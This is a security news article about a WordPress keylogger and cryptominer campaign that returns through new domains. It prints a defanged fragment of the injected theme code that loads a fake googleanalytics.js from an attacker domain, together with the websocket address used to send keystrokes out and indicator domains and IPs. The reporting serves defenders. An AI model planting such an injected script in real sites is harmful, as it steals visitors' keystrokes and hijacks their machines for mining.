Friday, April 25, 2025
HomeWordpressDangerous WordPress Keylogger Returns via New Domains that Affected More than 1000...

Dangerous WordPress Keylogger Returns via New Domains that Affected More than 1000 Websites

Published on

SIEM as a Service

Follow Us on Google News

A WordPress keylogger that already spreading via Cloudflare.solutions has changed now and it returns via new domains that affected more than 1000 of WordPress websites.

Last year This WordPress keylogger has been discovered in  Cloudflare[.]solutions and the domain was completely taken down but attackers now registered a new domains.

There are three new domains were identified  cdjs[.]online , cdns[.]ws, msdns[.]online and these 3 Malicious domains are responsible for injecting Keylogger into thousands of websites.

According to Sucuri, 129 websites for cdns[.]ws and 103 websites for cdjs[.]online, but it’s likely that the majority of the websites have not been indexed yet. Since mid-December, msdns[.]online has infected over a thousand websites.
- Advertisement - Google News

Also Read  Malware Abuse Google Ads to Injecting Coinhive Cryptocurrency Miner

How does this WordPress keylogger Works

Attackers are using many malicious scripts that injected into targeting WordPress websites Database directly and compromise it.

The cdjs[.]online based Script injected into WordPress database file called wp_posts table or themes functions.php file and also other 2 scripts also injected into this file.

function chmnr_klgr_enqueue_script() {
wp_enqueue_script( 'chmnr_klgr-js', 'hxxps://cdns[.]ws/lib/googleanalytics.js', false );

cdjs[.]online also performing to inject 3 obfuscated fake googleanalytics.js same as the previous version of the campaign.

Also, Researchers found that fake jQuery has been used for injecting the encrypted CoinHive crypto mining in the targeted website.

Last year cloudflare[.]solutions was injected the /lib/kl.js script as a keylogger and the site was taken down later.

Accorinding to Securi, The only changes are the socketURL address, which now decodes to “wss://cdjs[.]online:8085/” (instead of wss://cloudflare[.]solutions:8085) and the red herring part of the linterkeys variables changed from “https://cdnjs.cloudflare.com/ajax/libs/linter/linter.js” to a more neutral “https://js.io/query”.

The keylogger will behave the same way in Newly infected website as previous campaigns that is displaying unwanted banners at the bottom of the page which appears 15 seconds after browsing the website due to injecting  the Cloudflare[.]solutions Scripts in function.php.

msdns[.]online Malicious Domain can perform as a crypto miners and keylogger also it located in the same server as cdns[.]ws.

Three Malicious IPs

Securi has identified that this new attack is utilizing the following 3 servers:

  • 185.209.23.219 (cdjs[.]online, or 3117488091, where you can still find the cloudflare[.]solutions version of the keylogger)
  • 185.14.28.10 (or 3104709642, which still hosts the hxxp://185.14.28 .10/lib/jquery-3.2.1.min.js?v=3.2.11 crypto miners and the cloudflare[.]solutions version of the keylogger hxxp://185 .14 .28. 10/lib/kl.js)
  • 107.181.161.159 (cdns[.]ws and msdns[.]online – which serves new versions of the cryptominers and keyloggers)
Balaji
Balaji
BALAJI is an Ex-Security Researcher (Threat Research Labs) at Comodo Cybersecurity. Editor-in-Chief & Co-Founder - Cyber Security News & GBHackers On Security.

Latest articles

Chrome UAF Process Vulnerabilities Actively Exploited

Security researchers have revealed that two critical use-after-free (UAF) vulnerabilities in Google Chrome’s Browser...

Microsoft Defender XDR False Positive Leaked Massive 1,700+ Sensitive Documents to Publish

An alarming data leak involving Microsoft Defender XDR has exposed more than 1,700 sensitive...

‘SessionShark’ – A New Toolkit Bypasses Microsoft Office 365 MFA Security

Security researchers have uncovered a new and sophisticated threat to Microsoft Office 365 users:...

Hackers Exploit MS-SQL Servers to Deploy Ammyy Admin for Remote Access

A sophisticated cyberattack campaign has surfaced, targeting poorly managed Microsoft SQL (MS-SQL) servers to...

Resilience at Scale

Why Application Security is Non-Negotiable

The resilience of your digital infrastructure directly impacts your ability to scale. And yet, application security remains a critical weak link for most organizations.

Application Security is no longer just a defensive play—it’s the cornerstone of cyber resilience and sustainable growth. In this webinar, Karthik Krishnamoorthy (CTO of Indusface) and Phani Deepak Akella (VP of Marketing – Indusface), will share how AI-powered application security can help organizations build resilience by

Discussion points


Protecting at internet scale using AI and behavioral-based DDoS & bot mitigation.
Autonomously discovering external assets and remediating vulnerabilities within 72 hours, enabling secure, confident scaling.
Ensuring 100% application availability through platforms architected for failure resilience.
Eliminating silos with real-time correlation between attack surface and active threats for rapid, accurate mitigation

More like this

WordPress Ad-Fraud Plugins Trigger Massive 1.4 Billion Daily Ad Requests

Cybersecurity researchers have uncovered a sprawling ad-fraud operation exploiting WordPress plugins to trigger over...

Over 100,000 WordPress Plugin Vulnerability Exploited Just 4 Hours After Disclosure

Over 100,000 WordPress websites have been exposed to a critical security vulnerability, following the...

Rogue Account‑Creation Flaw Leaves 100 K WordPress Sites Exposed

A severe vulnerability has been uncovered in the SureTriggers WordPress plugin, which could leave...